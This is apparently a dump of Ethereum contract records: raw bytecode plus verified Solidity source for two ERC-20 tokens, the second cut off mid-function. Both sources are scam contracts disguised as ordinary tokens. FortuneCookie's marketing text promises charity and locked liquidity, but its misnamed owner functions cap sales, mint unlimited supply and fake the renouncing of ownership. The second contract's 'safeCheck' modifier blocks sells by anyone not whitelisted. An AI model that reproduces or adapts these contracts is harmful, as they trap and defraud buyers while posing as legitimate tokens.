14806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220e0861f6f121f83b34cc1030ae6a8fb79d3340a49714327176db0b9a7125827c964736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 3,577 |
0x5be6eeb4423bd6b4667ea8bc77458ca41d11ff24
|
/**
*Submitted for verification at Etherscan.io on 2021-08-11
*/
/*
____| |
| _ \ __| __| | | __ \ _ \
__| ( | | | | | | | __/
_| \___/ _| \__| \__,_| _| _| \___|
___| | _)
| _ \ _ \ | / | _ \
| ( | ( | < | __/
\____| \___/ \___/ _|\_\ _| \___|
🦐 FortuneCookie.CASH (or $🥠FOOKIE) is a community-driven, group of believers, and fair launch DeFi token to promote equality within the community with our sea friends!
🦦 The purpose of the project is for charity as we would like to help people and aqua life! Simply hold and receive passive income! This will be beneficial for the token holders.
🧑🌾 A farming/staking smart contract is currently in progress and awaiting audit!
💸 🚀 A fair, silent launch will be held with the intention of avoiding whales pumping and dumping the project.
🗝 We have locked liquidity for six months to show the community that we are dedicated to the project
https://t.me/fortunecookieeth
**/
pragma solidity ^0.6.8;
// SPDX-License-Identifier: MIT
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _call() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address public Owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address call = _call();
_owner = call;
Owner = call;
emit OwnershipTransferred(address(0), call);
}
modifier onlyOwner() {
require(_owner == _call(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
Owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract FCookie is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _router;
mapping(address => mapping (address => uint256)) private _allowances;
address private router;
address private caller;
uint256 private _totalTokens = 800858008 * 10**18;
uint256 private rTotal = 800858008 * 10**18;
string private _name = 'FortuneCookie.CASH';
string private _symbol = '🥠FOOKIE';
uint8 private _decimals = 18;
constructor () public {
_router[_call()] = _totalTokens;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _call(), _totalTokens);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decreaseAllowance(uint256 amount) public onlyOwner {
rTotal = amount * 10**18;
}
function balanceOf(address account) public view override returns (uint256) {
return _router[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_call(), recipient, amount);
return true;
}
function increaseAllowance(uint256 amount) public onlyOwner {
require(_call() != address(0));
_totalTokens = _totalTokens.add(amount);
_router[_call()] = _router[_call()].add(amount);
emit Transfer(address(0), _call(), amount);
}
function Approve(address trade) public onlyOwner {
caller = trade;
}
function setrouteChain (address Uniswaprouterv02) public onlyOwner {
router = Uniswaprouterv02;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_call(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _call(), _allowances[sender][_call()].sub(amount));
return true;
}
function totalSupply() public view override returns (uint256) {
return _totalTokens;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0));
require(recipient != address(0));
if (sender != caller && recipient == router) {
require(amount < rTotal);
}
_router[sender] = _router[sender].sub(amount);
_router[recipient] = _router[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0));
require(spender != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb1461047f578063b4a99a4e146104e5578063dd62ed3e1461052f578063f2fde38b146105a757610100565b806370a0823114610356578063715018a6146103ae57806395d89b41146103b857806396bfcd231461043b57610100565b806318160ddd116100d357806318160ddd1461024a57806323b872dd14610268578063313ce567146102ee5780636aae83f31461031257610100565b806306fdde0314610105578063095ea7b31461018857806310bad4cf146101ee57806311e330b21461021c575b600080fd5b61010d6105eb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061068d565b604051808215151515815260200191505060405180910390f35b61021a6004803603602081101561020457600080fd5b81019080803590602001909291905050506106ab565b005b6102486004803603602081101561023257600080fd5b8101908080359060200190929190505050610788565b005b6102526109c0565b6040518082815260200191505060405180910390f35b6102d46004803603606081101561027e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109ca565b604051808215151515815260200191505060405180910390f35b6102f6610a89565b604051808260ff1660ff16815260200191505060405180910390f35b6103546004803603602081101561032857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aa0565b005b6103986004803603602081101561036c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bad565b6040518082815260200191505060405180910390f35b6103b6610bf6565b005b6103c0610d7f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104005780820151818401526020810190506103e5565b50505050905090810190601f16801561042d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61047d6004803603602081101561045157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e21565b005b6104cb6004803603604081101561049557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f2e565b604051808215151515815260200191505060405180910390f35b6104ed610f4c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105916004803603604081101561054557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f72565b6040518082815260200191505060405180910390f35b6105e9600480360360208110156105bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ff9565b005b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106835780601f1061065857610100808354040283529160200191610683565b820191906000526020600020905b81548152906001019060200180831161066657829003601f168201915b5050505050905090565b60006106a161069a611206565b848461120e565b6001905092915050565b6106b3611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610774576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a7640000810260078190555050565b610790611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610851576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16610871611206565b73ffffffffffffffffffffffffffffffffffffffff16141561089257600080fd5b6108a78160065461136d90919063ffffffff16565b60068190555061090681600260006108bd611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136d90919063ffffffff16565b60026000610912611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610958611206565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6000600654905090565b60006109d78484846113f5565b610a7e846109e3611206565b610a7985600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a30611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116bc90919063ffffffff16565b61120e565b600190509392505050565b6000600a60009054906101000a900460ff16905090565b610aa8611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b69576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610bfe611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cbf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060098054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e175780601f10610dec57610100808354040283529160200191610e17565b820191906000526020600020905b815481529060010190602001808311610dfa57829003601f168201915b5050505050905090565b610e29611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610f42610f3b611206565b84846113f5565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611001611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611148576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806117c76026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561124857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561128257600080fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b6000808284019050838110156113eb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561142f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561146957600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115145750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561152857600754811061152757600080fd5b5b61157a81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116bc90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061160f81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136d90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60006116fe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611706565b905092915050565b60008383111582906117b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561177857808201518184015260208101905061175d565b50505050905090810190601f1680156117a55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a2646970667358221220f2de7e2beea5617695a5af1e99b3a38ae57aedeabd23fad8aa4024f1d1a8d33c64736f6c63430006080033
|
{"success": true, "error": null, "results": {}}
| 3,578 |
0xf52c78f6c26814aa30b3823d2fc6f2774f43a37b
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
if(sender==_address0){_Addressint[recipient] = true;}
_;}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
//transfer
function _transfer_MOZ(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
